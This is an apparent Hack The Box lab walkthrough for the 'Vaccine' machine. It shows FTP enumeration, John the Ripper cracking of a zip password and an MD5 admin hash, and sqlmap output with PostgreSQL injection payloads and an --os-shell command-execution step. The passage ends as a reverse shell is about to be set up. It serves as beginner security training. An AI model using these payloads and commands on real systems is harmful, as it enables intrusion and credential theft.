The aim of this walkthrough is to provide help with the Vaccine machine on the Hack The Box website. Please note that no flags are directly provided here. Moreover, be aware that this is only one of the many ways to solve the challenges.

It belongs to a series of tutorials that aim to help out complete beginners with finishing the Starting Point TIER 2 challenges.

SETUP

There are a couple of ways to connect to the target machine. The one we will be using throughout this walkthrough is via the provided pwnbox.

Once our connection is taken care of, we spawn the target machine.

Additionally - even though not required - it is possible to set a local variable (only available in the current shell) containing our target host’s IP address. Once set, we can easily access it by prepending a $ to our variable name.

┌─[htb-bluewalle@htb-pwdysfiide][~/Desktop]
└──╼ $rhost=<target-hosts-ip>
┌─[htb-bluewalle@htb-pwdysfiide][~/Desktop]
└──╼ $ echo $rhost 
<target-hosts-ip>
┌─[htb-bluewalle@htb-pwdysfiide][~/Desktop]
└──╼ $

We could use the unset command to remove it after we no longer need it.

┌─[][htb-bluewalle@htb-pwdysfiide][~/Desktop]
└──╼ $unset rhost 
┌─[htb-bluewalle@htb-pwdysfiide][~/Desktop]
└──╼ $

TASK 1

Question: Besides SSH and HTTP, what other service is hosted on this box?

We start out with a quick connection check

┌─[eu-starting-point-vip-1-dhcp][10.10.14.12][htb-bluewalle@htb-bigt2wisms][~/vaccine]
└──╼ []$ ping $rhost -c 4
PING 10.129.94.247 (10.129.94.247) 56(84) bytes of data.
64 bytes from 10.129.94.247: icmp_seq=1 ttl=63 time=10.8 ms
64 bytes from 10.129.94.247: icmp_seq=2 ttl=63 time=10.5 ms
64 bytes from 10.129.94.247: icmp_seq=3 ttl=63 time=10.2 ms
64 bytes from 10.129.94.247: icmp_seq=4 ttl=63 time=10.2 ms

--- 10.129.94.247 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3005ms
rtt min/avg/max/mdev = 10.202/10.435/10.777/0.232 ms
┌─[eu-starting-point-vip-1-dhcp][10.10.14.12][htb-bluewalle@htb-bigt2wisms][~/vaccine]
└──╼ []$

and follow up on it with the usual (version and script - top 1000 ports) nmap scan.

┌─[eu-starting-point-vip-1-dhcp][10.10.14.12][htb-bluewalle@htb-bigt2wisms][~/vaccine]
└──╼ []$ nmap -sC -sV $rhost 
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-18 03:15 BST
Nmap scan report for 10.129.94.247
Host is up (0.069s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.10.14.12
|      Logged in as ftpuser
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 4
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rwxr-xr-x    1 0        0            2533 Apr 13  2021 backup.zip
22/tcp open  ssh     OpenSSH 8.0p1 Ubuntu 6ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 c0ee58077534b00b9165b259569527a4 (RSA)
|   256 ac6e81188922d7a7417d814f1bb8b251 (ECDSA)
|_  256 425bc321dfefa20bc95e03421d69d028 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-title: MegaCorp Login
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.30 seconds
┌─[eu-starting-point-vip-1-dhcp][10.10.14.12][htb-bluewalle@htb-bigt2wisms][~/vaccine]
└──╼ []$

Couple of things that may stand out at first look:

  • ftp anonymous/guest login is allowed
  • there is a file backup.zip which we can access via ftp
  • ssh version is 1:8.0p1-6ubuntu0.1
  • apache webserver is running with version ‘Apache httpd 2.4.41’
  • running os is probably Ubuntu 19.10 - Eoan Ermine

We continue with a quick fingerprinting.

┌─[eu-starting-point-vip-1-dhcp][10.10.14.12][htb-bluewalle@htb-bigt2wisms][~/vaccine]
└──╼ []$ whatweb $rhost 
http://10.129.94.247 [200 OK] Apache[2.4.41], Cookies[PHPSESSID], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.129.94.247], PasswordField[password], Title[MegaCorp Login]
┌─[eu-starting-point-vip-1-dhcp][10.10.14.12][htb-bluewalle@htb-bigt2wisms][~/vaccine]
└──╼ []$

ftp

TASK 2

Question: This service can be configured to allow login with any password for specific username. What is that username?

Since anonymous login is enabled on the ftp server, we check it out and proceed downloading the file we spotted earlier (in TASK1).

┌─[eu-starting-point-vip-1-dhcp][10.10.14.12][htb-bluewalle@htb-bigt2wisms][~/vaccine]
└──╼ []$ ftp $rhost 
Connected to 10.129.94.247.
220 (vsFTPd 3.0.3)
Name (10.129.94.247:root): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rwxr-xr-x    1 0        0            2533 Apr 13  2021 backup.zip
226 Directory send OK.
ftp> get backup.zip
local: backup.zip remote: backup.zip
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for backup.zip (2533 bytes).
226 Transfer complete.
2533 bytes received in 0.00 secs (1.6289 MB/s)
ftp> exit
221 Goodbye.
┌─[eu-starting-point-vip-1-dhcp][10.10.14.12][htb-bluewalle@htb-bigt2wisms][~/vaccine]
└──╼ []$

anonymous

TASK 3

Question: What is the name of the file downloaded over this service?

Simply trying to decompress it does not work as it is password protected.

┌─[eu-starting-point-vip-1-dhcp][10.10.14.12][htb-bluewalle@htb-bigt2wisms][~/vaccine]
└──╼ []$ ll
total 4.0K
-rw-r--r-- 1 htb-bluewalle htb-bluewalle 2.5K May 18 03:17 backup.zip
┌─[eu-starting-point-vip-1-dhcp][10.10.14.12][htb-bluewalle@htb-bigt2wisms][~/vaccine]
└──╼ []$ unzip backup.zip 
Archive:  backup.zip
[backup.zip] index.php password: 
password incorrect--reenter: 
password incorrect--reenter: 
   skipping: index.php               incorrect password
[backup.zip] style.css password: 
password incorrect--reenter: 
password incorrect--reenter: 
   skipping: style.css               incorrect password
┌─[eu-starting-point-vip-1-dhcp][10.10.14.12][htb-bluewalle@htb-bigt2wisms][~/vaccine]
└──╼ []$

backup.zip

TASK 4

Question: What script comes with the John The Ripper toolset and generates a hash from a password protected zip archive in a format to allow for cracking attempts?

A quick online search leaves us with two potential candidates:

  • zip2john
  • rar2john

But given the extension of backup.zip, it should be the first one. Now that we identified the necessary tools, we get to it.

First we create the password hash which we can later crack.

┌─[eu-starting-point-vip-1-dhcp][10.10.14.12][htb-bluewalle@htb-bigt2wisms][~/vaccine]
└──╼ []$ man john
┌─[eu-starting-point-vip-1-dhcp][10.10.14.12][htb-bluewalle@htb-bigt2wisms][~/vaccine]
└──╼ []$ zip2john backup.zip > backupzip.hash
Created directory: /home/htb-bluewalle/.john
ver 2.0 efh 5455 efh 7875 backup.zip/index.php PKZIP Encr: 2b chk, TS_chk, cmplen=1201, decmplen=2594, crc=3A41AE06
ver 2.0 efh 5455 efh 7875 backup.zip/style.css PKZIP Encr: 2b chk, TS_chk, cmplen=986, decmplen=3274, crc=1B1CCD6A
NOTE: It is assumed that all files in each archive have the same password.
If that is not the case, the hash may be uncrackable. To avoid this, use
option -o to pick a file at a time.
┌─[eu-starting-point-vip-1-dhcp][10.10.14.12][htb-bluewalle@htb-bigt2wisms][~/vaccine]
└──╼ []$ ll
total 8.0K
-rw-r--r-- 1 htb-bluewalle htb-bluewalle 2.5K May 18 03:17 backup.zip
-rw-r--r-- 1 htb-bluewalle htb-bluewalle 2.2K May 18 03:20 backupzip.hash
┌─[eu-starting-point-vip-1-dhcp][10.10.14.12][htb-bluewalle@htb-bigt2wisms][~/vaccine]
└──╼ []$

This is how the resulting password hash looks like:

┌─[eu-starting-point-vip-1-dhcp][10.10.14.12][htb-bluewalle@htb-bigt2wisms][~/vaccine]
└──╼ []$ cat backupzip.hash 
backup.zip:$pkzip2$2*2*1*0*8*24*3a41*5722*543fb39ed1a919ce7b58641a238e00f4cb3a826cfb1b8f4b225aa15c4ffda8fe72f60a82*2*0*3da*cca*1b1ccd6a*504*43*8*3da*1b1c*989a*22290dc3505e51d341f31925a7ffefc181ef9f66d8d25e53c82afc7c1598fbc3fff28a17ba9d8cec9a52d66a11ac103f257e14885793fe01e26238915796640e8936073177d3e6e28915f5abf20fb2fb2354cf3b7744be3e7a0a9a798bd40b63dc00c2ceaef81beb5d3c2b94e588c58725a07fe4ef86c990872b652b3dae89b2fff1f127142c95a5c3452b997e3312db40aee19b120b85b90f8a8828a13dd114f3401142d4bb6b4e369e308cc81c26912c3d673dc23a15920764f108ed151ebc3648932f1e8befd9554b9c904f6e6f19cbded8e1cac4e48a5be2b250ddfe42f7261444fbed8f86d207578c61c45fb2f48d7984ef7dcf88ed3885aaa12b943be3682b7df461842e3566700298efad66607052bd59c0e861a7672356729e81dc326ef431c4f3a3cdaf784c15fa7eea73adf02d9272e5c35a5d934b859133082a9f0e74d31243e81b72b45ef3074c0b2a676f409ad5aad7efb32971e68adbbb4d34ed681ad638947f35f43bb33217f71cbb0ec9f876ea75c299800bd36ec81017a4938c86fc7dbe2d412ccf032a3dc98f53e22e066defeb32f00a6f91ce9119da438a327d0e6b990eec23ea820fa24d3ed2dc2a7a56e4b21f8599cc75d00a42f02c653f9168249747832500bfd5828eae19a68b84da170d2a55abeb8430d0d77e6469b89da8e0d49bb24dbfc88f27258be9cf0f7fd531a0e980b6defe1f725e55538128fe52d296b3119b7e4149da3716abac1acd841afcbf79474911196d8596f79862dea26f555c772bbd1d0601814cb0e5939ce6e4452182d23167a287c5a18464581baab1d5f7d5d58d8087b7d0ca8647481e2d4cb6bc2e63aa9bc8c5d4dfc51f9cd2a1ee12a6a44a6e64ac208365180c1fa02bf4f627d5ca5c817cc101ce689afe130e1e6682123635a6e524e2833335f3a44704de5300b8d196df50660bb4dbb7b5cb082ce78d79b4b38e8e738e26798d10502281bfed1a9bb6426bfc47ef62841079d41dbe4fd356f53afc211b04af58fe3978f0cf4b96a7a6fc7ded6e2fba800227b186ee598dbf0c14cbfa557056ca836d69e28262a060a201d005b3f2ce736caed814591e4ccde4e2ab6bdbd647b08e543b4b2a5b23bc17488464b2d0359602a45cc26e30cf166720c43d6b5a1fddcfd380a9c7240ea888638e12a4533cfee2c7040a2f293a888d6dcc0d77bf0a2270f765e5ad8bfcbb7e68762359e335dfd2a9563f1d1d9327eb39e68690a8740fc9748483ba64f1d923edfc2754fc020bbfae77d06e8c94fba2a02612c0787b60f0ee78d21a6305fb97ad04bb562db282c223667af8ad907466b88e7052072d6968acb7258fb8846da057b1448a2a9699ac0e5592e369fd6e87d677a1fe91c0d0155fd237bfd2dc49*$/pkzip2$::backup.zip:style.css, index.php:backup.zip
┌─[eu-starting-point-vip-1-dhcp][10.10.14.12][htb-bluewalle@htb-bigt2wisms][~/vaccine]
└──╼ []$

So now it’s time to finally get cracking

┌─[eu-starting-point-vip-1-dhcp][10.10.14.12][htb-bluewalle@htb-bigt2wisms][~/vaccine]
└──╼ []$ john backupzip.hash 
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 4 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 5 candidates buffered for the current salt, minimum 8 needed for performance.
Warning: Only 4 candidates buffered for the current salt, minimum 8 needed for performance.
Almost done: Processing the remaining buffered candidate passwords, if any.
Warning: Only 6 candidates buffered for the current salt, minimum 8 needed for performance.
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
741852963        (backup.zip)
1g 0:00:00:00 DONE 2/3 (2023-05-18 03:21) 11.11g/s 844766p/s 844766c/s 844766C/s 123456..ferrises
Use the "--show" option to display all of the cracked passwords reliably
Session completed
┌─[eu-starting-point-vip-1-dhcp][10.10.14.12][htb-bluewalle@htb-bigt2wisms][~/vaccine]
└──╼ []$ john --show backupzip.hash 
backup.zip:741852963::backup.zip:style.css, index.php:backup.zip

1 password hash cracked, 0 left
┌─[eu-starting-point-vip-1-dhcp][10.10.14.12][htb-bluewalle@htb-bigt2wisms][~/vaccine]
└──╼ []$

Unzipping the backup.zip file with the password we just found - 741852963 - will provide us with two source files:

  • index.php
  • style.css
┌─[eu-starting-point-vip-1-dhcp][10.10.14.12][htb-bluewalle@htb-bigt2wisms][~/vaccine]
└──╼ []$ unzip backup.zip 
Archive:  backup.zip
[backup.zip] index.php password: 
  inflating: index.php               
  inflating: style.css               
┌─[eu-starting-point-vip-1-dhcp][10.10.14.12][htb-bluewalle@htb-bigt2wisms][~/vaccine]
└──╼ []$

Let’s check them out.

- index.php -

┌─[eu-starting-point-vip-1-dhcp][10.10.14.12][htb-bluewalle@htb-bigt2wisms][~/vaccine]
└──╼ []$ cat index.php 
<!DOCTYPE html>
<?php
session_start();
  if(isset($_POST['username']) && isset($_POST['password'])) {
    if($_POST['username'] === 'admin' && md5($_POST['password']) === "2cb42f8734ea607eefed3b70af13bbd3") {
      $_SESSION['login'] = "true";
      header("Location: dashboard.php");
    }
  }
?>
<html lang="en" >
<head>
  <meta charset="UTF-8">
  <title>MegaCorp Login</title>
  <link href="https://fonts.googleapis.com/css?family=Open+Sans:400,700" rel="stylesheet"><link rel="stylesheet" href="./style.css">

</head>
  <h1 align=center>MegaCorp Login</h1>
<body>
<!-- partial:index.partial.html -->
<body class="align">

  <div class="grid">

    <form action="" method="POST" class="form login">

      <div class="form__field">
        <label for="login__username"><svg class="icon"><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#user"></use></svg><span class="hidden">Username</span></label>
        <input id="login__username" type="text" name="username" class="form__input" placeholder="Username" required>
      </div>

      <div class="form__field">
        <label for="login__password"><svg class="icon"><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#lock"></use></svg><span class="hidden">Password</span></label>
        <input id="login__password" type="password" name="password" class="form__input" placeholder="Password" required>
      </div>

      <div class="form__field">
        <input type="submit" value="Sign In">
      </div>

    </form>


  </div>

  <svg xmlns="http://www.w3.org/2000/svg" class="icons"><symbol id="arrow-right" viewBox="0 0 1792 1792"><path d="M1600 960q0 54-37 91l-651 651q-39 37-91 37-51 0-90-37l-75-75q-38-38-38-91t38-91l293-293H245q-52 0-84.5-37.5T128 1024V896q0-53 32.5-90.5T245 768h704L656 474q-38-36-38-90t38-90l75-75q38-38 90-38 53 0 91 38l651 651q37 35 37 90z"/></symbol><symbol id="lock" viewBox="0 0 1792 1792"><path d="M640 768h512V576q0-106-75-181t-181-75-181 75-75 181v192zm832 96v576q0 40-28 68t-68 28H416q-40 0-68-28t-28-68V864q0-40 28-68t68-28h32V576q0-184 132-316t316-132 316 132 132 316v192h32q40 0 68 28t28 68z"/></symbol><symbol id="user" viewBox="0 0 1792 1792"><path d="M1600 1405q0 120-73 189.5t-194 69.5H459q-121 0-194-69.5T192 1405q0-53 3.5-103.5t14-109T236 1084t43-97.5 62-81 85.5-53.5T538 832q9 0 42 21.5t74.5 48 108 48T896 971t133.5-21.5 108-48 74.5-48 42-21.5q61 0 111.5 20t85.5 53.5 62 81 43 97.5 26.5 108.5 14 109 3.5 103.5zm-320-893q0 159-112.5 271.5T896 896 624.5 783.5 512 512t112.5-271.5T896 128t271.5 112.5T1280 512z"/></symbol></svg>

</body>
<!-- partial -->
  
</body>
</html>
┌─[eu-starting-point-vip-1-dhcp][10.10.14.12][htb-bluewalle@htb-bigt2wisms][~/vaccine]
└──╼ []$

The part in the beginning

...
  if(isset($_POST['username']) && isset($_POST['password'])) {
    if($_POST['username'] === 'admin' && md5($_POST['password']) === "2cb42f8734ea607eefed3b70af13bbd3") {
      $_SESSION['login'] = "true";
      header("Location: dashboard.php");
    }
  }
...

definitely stands out.

Simply put: if any password is used for the admin user and if that password’s md5-hash equals - 2cb42f8734ea607eefed3b70af13bbd3 -, we are allowed access and redirected to - dashboard.php -.

Looking at the other file - style.css -

┌─[eu-starting-point-vip-1-dhcp][10.10.14.12][htb-bluewalle@htb-bigt2wisms][~/vaccine]
└──╼ []$ cat style.css 
/* config.css */

/* helpers/align.css */

.align {
  -webkit-box-align: center;
      -ms-flex-align: center;
          align-items: center;
  display: -webkit-box;
  display: -ms-flexbox;
  display: flex;
  -webkit-box-orient: vertical;
  -webkit-box-direction: normal;
      -ms-flex-direction: column;
          flex-direction: column;
  -webkit-box-pack: center;
      -ms-flex-pack: center;
          justify-content: center;
}

/* helpers/grid.css */

...

/* modules/text.css */

p {
  margin-bottom: 24px;
  margin-bottom: 1.5rem;
  margin-top: 24px;
  margin-top: 1.5rem;
}

.text--center {
  text-align: center;
}
┌─[eu-starting-point-vip-1-dhcp][10.10.14.12][htb-bluewalle@htb-bigt2wisms][~/vaccine]
└──╼ []$

except maybe the mentioning of some interesting locations like - * modules/text.css * -, nothing really stands out.

zip2john

TASK 5

Question: What is the password for the admin user on the website?

To answer the question, first we have to save the md5 hash we found in TASK4.

┌─[eu-starting-point-vip-1-dhcp][10.10.14.12][htb-bluewalle@htb-bigt2wisms][~/vaccine]
└──╼ []$ echo -n "2cb42f8734ea607eefed3b70af13bbd3" > md5hash
┌─[eu-starting-point-vip-1-dhcp][10.10.14.12][htb-bluewalle@htb-bigt2wisms][~/vaccine]
└──╼ []$ cat md5hash 
2cb42f8734ea607eefed3b70af13bbd3┌─[eu-starting-point-vip-1-dhcp][10.10.14.12][htb-bluewalle@htb-bigt2wisms][~/vaccine]
└──╼ []$

Then we use john (again) to crack it.

┌─[eu-starting-point-vip-1-dhcp][10.10.14.12][htb-bluewalle@htb-bigt2wisms][~/vaccine]
└──╼ []$ john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt md5hash 
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
qwerty789        (?)
1g 0:00:00:00 DONE (2023-05-18 03:27) 16.66g/s 1670Kp/s 1670Kc/s 1670KC/s shunda..pogimo
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed
┌─[eu-starting-point-vip-1-dhcp][10.10.14.12][htb-bluewalle@htb-bigt2wisms][~/vaccine]
└──╼ []$ john --show --format=Raw-MD5 md5hash 
?:qwerty789

1 password hash cracked, 0 left
┌─[eu-starting-point-vip-1-dhcp][10.10.14.12][htb-bluewalle@htb-bigt2wisms][~/vaccine]
└──╼ []$

qwerty789

TASK 6

Question: What option can be passed to sqlmap to try to get command execution via the sql injection?

It’s well past the time that we checked out the webpage which target hosts. Once we call up - http://$rhost/ - in our browser, we are welcomed with a log in page.

webpage

Using the credentials we obtained in TASK4 and TASK5

obtained credentials
usernameadmin
passwordqwerty789

we log in. We might notice, that once logged in we are directly redirected to - http://$rhost/dashboard.php -.

webpage-post-login

Moreover, after goofing around a bit, we notice, that every word we search for with the search field gets reflected in the url search parameter.

search-test

Since these kinds of search fields are quite often prone to sql injection attacks - and given the question explicitly mentioning sqlmap as the tool we should look up - we do exactly that, we check it out.

┌─[eu-starting-point-vip-1-dhcp][10.10.14.12][htb-bluewalle@htb-bigt2wisms][~/vaccine]
└──╼ []$ sqlmap --help
        ___
       __H__
 ___ ___[']_____ ___ ___  {1.6.12#stable}
|_ -| . [']     | .'| . |
|___|_  ["]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

Usage: python3 sqlmap [options]

Options:
  -h, --help            Show basic help message and exit
  -hh                   Show advanced help message and exit
  --version             Show program's version number and exit
  -v VERBOSE            Verbosity level: 0-6 (default 1)

  Target:
    At least one of these options has to be provided to define the
    target(s)

    -u URL, --url=URL   Target URL (e.g. "http://www.site.com/vuln.php?id=1")
    -g GOOGLEDORK       Process Google dork results as target URLs

  Request:
    These options can be used to specify how to connect to the target URL

    --data=DATA         Data string to be sent through POST (e.g. "id=1")
    --cookie=COOKIE     HTTP Cookie header value (e.g. "PHPSESSID=a8d127e..")
    --random-agent      Use randomly selected HTTP User-Agent header value
    --proxy=PROXY       Use a proxy to connect to the target URL
    --tor               Use Tor anonymity network
    --check-tor         Check to see if Tor is used properly
...
...

  Operating system access:
    These options can be used to access the back-end database management
    system underlying operating system

    --os-shell          Prompt for an interactive operating system shell
    --os-pwn            Prompt for an OOB shell, Meterpreter or VNC

  General:
    These options can be used to set some general working parameters

    --batch             Never ask for user input, use the default behavior
    --flush-session     Flush session files for current target

  Miscellaneous:
    These options do not fit into any other category

    --wizard            Simple wizard interface for beginner users
┌─[eu-starting-point-vip-1-dhcp][10.10.14.12][htb-bluewalle@htb-bigt2wisms][~/vaccine]
└──╼ []$

Looking over the tool’s options will provide us with both the task’s answer and a little hint about the next direction we should head towards.

So our next course of action is to use sqlmap to determine if the target website is vulnerable to sql injection or not.

Trying to run it with only the url being specified will not work considering we forgot to provide any credentials or authentication data.

┌─[eu-starting-point-vip-1-dhcp][10.10.14.12][htb-bluewalle@htb-bigt2wisms][~/vaccine]
└──╼ []$ sqlmap -u http://10.129.94.247/dashboard.php?search=test
        ___
       __H__
 ___ ___[']_____ ___ ___  {1.6.12#stable}
|_ -| . [(]     | .'| . |
|___|_  [,]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 04:09:30 /2023-05-18/

[04:09:31] [INFO] testing connection to the target URL
got a 302 redirect to 'http://10.129.94.247:80/index.php'. Do you want to follow? [Y/n] n
you have not declared cookie(s), while server wants to set its own ('PHPSESSID=f4j6ae5ahkv...a47gj2eidd'). Do you want to use those [Y/n] n

One way to rectify this is to simply copy the cookie data from our authenticated browser session (already logged in). We can grab the cookie information by heading to

Web Developer Tools -> Storage -> Cookies -> - http://$rhost -

cookie

and then using the --cookie=COOKIE option to get an authorized session. It is important to take note of the modification to the cookie’s format:

# before
PHPSESSID:"28ivthf91jm4d05jrcl09d0k7a"
# after
"PHPSESSID=28ivthf91jm4d05jrcl09d0k7a"

Once run, it reports that the search url parameter is indeed vulnerable to sql injection. It even provides us with some example payloads we could then use to exploit this weakness.

┌─[eu-starting-point-vip-1-dhcp][10.10.14.12][htb-bluewalle@htb-bigt2wisms][~/vaccine]
└──╼ []$ sqlmap -u http://10.129.94.247/dashboard.php?search=test --cookie="PHPSESSID=28ivthf91jm4d05jrcl09d0k7a"
        ___
       __H__
 ___ ___["]_____ ___ ___  {1.6.12#stable}
|_ -| . ["]     | .'| . |
|___|_  [)]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 04:28:03 /2023-05-18/

[04:28:03] [INFO] testing connection to the target URL
[04:28:03] [INFO] testing if the target URL content is stable
[04:28:04] [INFO] target URL content is stable
[04:28:04] [INFO] testing if GET parameter 'search' is dynamic
[04:28:04] [WARNING] GET parameter 'search' does not appear to be dynamic
[04:28:04] [INFO] heuristic (basic) test shows that GET parameter 'search' might be injectable (possible DBMS: 'PostgreSQL')
[04:28:04] [INFO] heuristic (XSS) test shows that GET parameter 'search' might be vulnerable to cross-site scripting (XSS) attacks
[04:28:04] [INFO] testing for SQL injection on GET parameter 'search'
it looks like the back-end DBMS is 'PostgreSQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'PostgreSQL' extending provided level (1) and risk (1) values? [Y/n] Y
[04:28:32] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[04:28:33] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[04:28:33] [INFO] testing 'Generic inline queries'
[04:28:33] [INFO] testing 'PostgreSQL AND boolean-based blind - WHERE or HAVING clause (CAST)'
[04:28:33] [INFO] GET parameter 'search' appears to be 'PostgreSQL AND boolean-based blind - WHERE or HAVING clause (CAST)' injectable 
[04:28:33] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[04:28:33] [INFO] GET parameter 'search' is 'PostgreSQL AND error-based - WHERE or HAVING clause' injectable 
[04:28:33] [INFO] testing 'PostgreSQL inline queries'
[04:28:33] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[04:28:33] [WARNING] time-based comparison requires larger statistical model, please wait....... (done)
[04:28:43] [INFO] GET parameter 'search' appears to be 'PostgreSQL > 8.1 stacked queries (comment)' injectable 
[04:28:43] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[04:28:53] [INFO] GET parameter 'search' appears to be 'PostgreSQL > 8.1 AND time-based blind' injectable 
[04:28:53] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
GET parameter 'search' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 34 HTTP(s) requests:
---
Parameter: search (GET)
    Type: boolean-based blind
    Title: PostgreSQL AND boolean-based blind - WHERE or HAVING clause (CAST)
    Payload: search=test' AND (SELECT (CASE WHEN (1932=1932) THEN NULL ELSE CAST((CHR(82)||CHR(87)||CHR(111)||CHR(97)) AS NUMERIC) END)) IS NULL-- PmQn

    Type: error-based
    Title: PostgreSQL AND error-based - WHERE or HAVING clause
    Payload: search=test' AND 9113=CAST((CHR(113)||CHR(98)||CHR(107)||CHR(112)||CHR(113))||(SELECT (CASE WHEN (9113=9113) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(112)||CHR(113)||CHR(107)||CHR(113)) AS NUMERIC)-- QJaM

    Type: stacked queries
    Title: PostgreSQL > 8.1 stacked queries (comment)
    Payload: search=test';SELECT PG_SLEEP(5)--

    Type: time-based blind
    Title: PostgreSQL > 8.1 AND time-based blind
    Payload: search=test' AND 4415=(SELECT 4415 FROM PG_SLEEP(5))-- SmbO
---
[04:29:02] [INFO] the back-end DBMS is PostgreSQL
web server operating system: Linux Ubuntu 20.04 or 20.10 or 19.10 (eoan or focal)
web application technology: Apache 2.4.41
back-end DBMS: PostgreSQL
[04:29:02] [INFO] fetched data logged to text files under '/home/htb-bluewalle/.local/share/sqlmap/output/10.129.94.247'

[*] ending @ 04:29:02 /2023-05-18/

┌─[eu-starting-point-vip-1-dhcp][10.10.14.12][htb-bluewalle@htb-bigt2wisms][~/vaccine]
└──╼ []$

But considering our aim here - simply getting and interactive shell and gaining a foothold on the target - we decide for the aforementioned --os-shell option.

┌─[eu-starting-point-vip-1-dhcp][10.10.14.12][htb-bluewalle@htb-bigt2wisms][~/vaccine]
└──╼ []$ sqlmap -u http://10.129.94.247/dashboard.php?search=test --cookie="PHPSESSID=28ivthf91jm4d05jrcl09d0k7a" --os-shell
        ___
       __H__
 ___ ___[']_____ ___ ___  {1.6.12#stable}
|_ -| . [.]     | .'| . |
|___|_  [)]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 04:36:02 /2023-05-18/

[04:36:02] [INFO] resuming back-end DBMS 'postgresql' 
[04:36:02] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: search (GET)
    Type: boolean-based blind
    Title: PostgreSQL AND boolean-based blind - WHERE or HAVING clause (CAST)
    Payload: search=test' AND (SELECT (CASE WHEN (1932=1932) THEN NULL ELSE CAST((CHR(82)||CHR(87)||CHR(111)||CHR(97)) AS NUMERIC) END)) IS NULL-- PmQn

    Type: error-based
    Title: PostgreSQL AND error-based - WHERE or HAVING clause
    Payload: search=test' AND 9113=CAST((CHR(113)||CHR(98)||CHR(107)||CHR(112)||CHR(113))||(SELECT (CASE WHEN (9113=9113) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(112)||CHR(113)||CHR(107)||CHR(113)) AS NUMERIC)-- QJaM

    Type: stacked queries
    Title: PostgreSQL > 8.1 stacked queries (comment)
    Payload: search=test';SELECT PG_SLEEP(5)--

    Type: time-based blind
    Title: PostgreSQL > 8.1 AND time-based blind
    Payload: search=test' AND 4415=(SELECT 4415 FROM PG_SLEEP(5))-- SmbO
---
[04:36:03] [INFO] the back-end DBMS is PostgreSQL
web server operating system: Linux Ubuntu 20.10 or 20.04 or 19.10 (eoan or focal)
web application technology: Apache 2.4.41
back-end DBMS: PostgreSQL
[04:36:03] [INFO] fingerprinting the back-end DBMS operating system
[04:36:03] [INFO] the back-end DBMS operating system is Linux
[04:36:03] [INFO] testing if current user is DBA
[04:36:03] [INFO] retrieved: '1'
[04:36:03] [INFO] going to use 'COPY ... FROM PROGRAM ...' command execution
[04:36:03] [INFO] calling Linux OS shell. To quit type 'x' or 'q' and press ENTER
os-shell> 

But interacting with this shell seems quite problematic,

...
os-shell> whoami
do you want to retrieve the command standard output? [Y/n/a] Y
[04:49:35] [INFO] retrieved: 'postgres'
command standard output: 'postgres'
os-shell> pwd
do you want to retrieve the command standard output? [Y/n/a] Y
[04:49:58] [INFO] retrieved: '/var/lib/postgresql/11/main'
command standard output: '/var/lib/postgresql/11/main'
os-shell> 

so we strive for a better one by launching a reverse shell back to our local machine.

First we start our listener on our local machine.

